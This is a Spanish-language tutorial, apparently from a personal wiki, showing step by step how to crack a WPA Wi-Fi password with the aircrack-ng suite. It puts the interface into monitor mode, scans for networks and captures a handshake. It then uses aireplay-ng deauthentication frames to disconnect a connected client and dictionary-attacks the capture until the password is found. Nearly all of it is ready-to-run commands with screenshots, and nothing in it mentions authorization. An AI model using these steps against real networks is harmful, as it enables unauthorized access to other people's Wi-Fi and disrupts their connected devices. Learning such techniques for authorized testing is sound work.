Lo primero será instalar aircrack-ng:

{{pasted_image_20230103115940.png|}}

Y ahora es necesario activar el modo monitor en nuestra interfaz de red, fijándonos en el nombre de la interfaz wifi:

{{pasted_image_20240109092229.png|}}

Ahora ejecutamos este comando para convertir la antena wifi en modo monitor:

<code bash>
airmon-ng start wlp1s0

</code>

{{pasted_image_20230103120438.png|}}

Y ahora si ejecutamos un ifconfig veremos como la interfaz wifi ha cambiado:

{{pasted_image_20230103120719.png|}}

Y ahora haremos un escaneo de las redes disponibles con este comando:

<code bash>
airodump-ng wlp1s0mon

</code>

{{pasted_image_20230103120946.png|}}

{{pasted_image_20230103121047.png|}}

Vamos a elegir el wifi llamado Red: 

{{pasted_image_20230103121938.png|}}

Y ahora con su BSSID vamos a listar los devices que están conectados a esta red:

<code bash>
airodump-ng -c 1 --bssid 2C:99:24:69:4F:D9 -w captura wlp1s0mon

</code>

{{pasted_image_20230103122905.png|}}

{{pasted_image_20240109093001.png|}}

Y ahora es cuando tenemos que obtener el handshake; y para ello tenemos que generar tráfico al mismo tiempo, por lo que desde otra ventana vamos a generar tráfico:

<code bash>
# Con el -a cogemos el nombre del BSSID y con -c cogemos la estación.
aireplay-ng -0 9 -a 2C:99:24:69:4F:D9 -c 3E:AF:E4:72:E6:A0 wlp1s0mon 

</code>

{{pasted_image_20230103123344.png|}}

Y una vez lanzado esto, ya tenemos el handshake:

{{pasted_image_20230103123418.png|}}

Ahora veremos que tenemos una serie de archivos en el actual directorio, que los usaremos más adelante:

{{pasted_image_20230103123555.png|}}

Una vez tenemos esto, solo necesitamos ejecutar este otro comando pasándole el handshake, seleccionando el fichero cap y un diccionario:

<code bash>
aircrack-ng -b 2C:99:24:69:4F:D9 -w diccionario.txt captura-02.cap

</code>

{{pasted_image_20230103234820.png|}}

Y vemos que nos encuentra la contraseña gracias a que se encontraba dentro del diccionario:

{{pasted_image_20230103234902.png|}}

Por último, para restablecer nuestra antena y quitar el modo monitor, lo haríamos de la siguiente forma:

<code bash>
sudo airmon-ng stop wlan0 # O el nombre de la interfaz que corresponda.

</code>